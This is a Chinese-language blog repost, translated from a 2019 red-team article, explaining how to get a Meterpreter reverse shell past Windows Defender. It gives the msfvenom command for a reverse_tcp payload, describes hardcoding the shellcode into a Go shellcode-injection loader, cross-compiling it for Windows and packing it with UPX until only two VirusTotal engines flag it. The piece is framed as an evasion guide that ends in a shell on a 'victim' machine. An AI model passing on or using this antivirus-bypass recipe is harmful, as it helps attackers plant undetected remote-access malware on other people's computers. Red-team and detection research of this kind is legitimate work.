使用Golang免杀Tips
2022-9-27 09:10:30 Author: 编码安全研究(查看原文) 阅读量:42 收藏

在此文章中,将详细介绍一个很酷的小技巧,它涉及如何绕过大多数防病毒产品以在目标主机上获得Metepreter反向shell.
这一切始于遇到用Golang编写的Github存储库时,该存储库在执行时会将shellcode注入正在运行的进程中.
https://github.com/brimstone/go-shellcode
通过简单地使用msfvenom生成有效负载,我们对其进行了测试,发现Windows Defender可以轻松检测到该有效负载.Meterpreter有效负载生成如下:
msfvenom -p Windows / x64 / meterpreter / reverse_tcp LHOST = xxxx LPORT = xxx -b \ x00 -f hex
使用Go进行本实验的好处是,可以将其从Linux主机交叉编译为目标Windows主机.编译应用程序的命令是:
GOOS=windows GOARCH=amd64 go build
这将产生一个Go exe文件,该文件将在命令行中与攻击者想要注入的shellcode一起执行.
这很容易检测到,Windows Defender毫无困难地将其识别为Meterpreter.为了快速,轻松地绕过,我们尝试使用UPX暴力破解可执行文件,将其重复压缩8次.Windows Defender再次抓住了它,这里也没有运气.
尝试使用shellcode作为参数运行Go exe文件.
如常所愿,Windows Defender可以轻松检测到它.然后,我们尝试使用UPX压缩的sc.exe文件,该文件也无效.
当然,Windows Defender一旦检测到该进程,就会终止Meterpreter会话.
从这里,检查了Go程序的源代码.经过一番回顾,发现可以修改main.go源文件以将shellcode作为变量然后进行编译–而不是编译.exe,然后将shellcode作为命令行参数添加.
go-shellcode/cmd/sc/main.go source
修改后的
go-shellcode/cmd/sc/main.go source
其中对命令行参数的引用替换为已声明的变量.
使用这些文件,编译了两个.exe文件,其中一个要在不使用UPX压缩的情况下进行测试,而另一个要在UPX压缩的情况下进行测试.Windows Defender触摸到磁盘后,便会立即检测到非压缩版本,但不会通过静态分析检测到UPX压缩的.exe.
Windows Defender立即检测到没有UPX压缩的.exe包含Meterpreter有效负载.
但是,运行自定义UPX压缩的.exe文件成功,并且实现了反向Shell
成功运行UPX压缩的Go exe文件,并且在受害者的计算机上获得了反向外壳.
让我们针对VT运行它,以检查其免杀能力.
将UPX压缩的Go exe文件上传到Virus Total.只有Cybereason和Cylance将该文件检测为恶意文件.
只有两个防病毒引擎在该文件中发现有恶意负载,并且两个都没有指定上载到底是恶意的,只是它是恶意的.UPX压缩可能是触发警报的原因,因为UPX压缩可用于混淆恶意文件.
暴力模式下的UPX压缩将exe文件压缩8次.
原文翻译至
https://labs.jumpsec.com/2019/06/20/bypassing-antivirus-with-golang-gopher-it/
参考文章
https://github.com/brimstone/go-shellcodehttps://boyter.org/posts/trimming-golang-binary-fat/https://blog.filippo.io/shrink-your-go-binaries-with-this-one-weird-trick
注:如有侵权请联系删除

   学习更多技术,关注我:   

觉得文章不错给点个‘再看’吧

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY1MDc2Mg==&mid=2247496136&idx=1&sn=c9528310916e463c3472a5defc6dbf5b&chksm=ce64a2adf9132bbbf5dfb902a31eff7960f73f511c249d6f7d08a3042bee94bb3d1bb5a52f2c#rd
如有侵权请联系:admin#unsafe.sh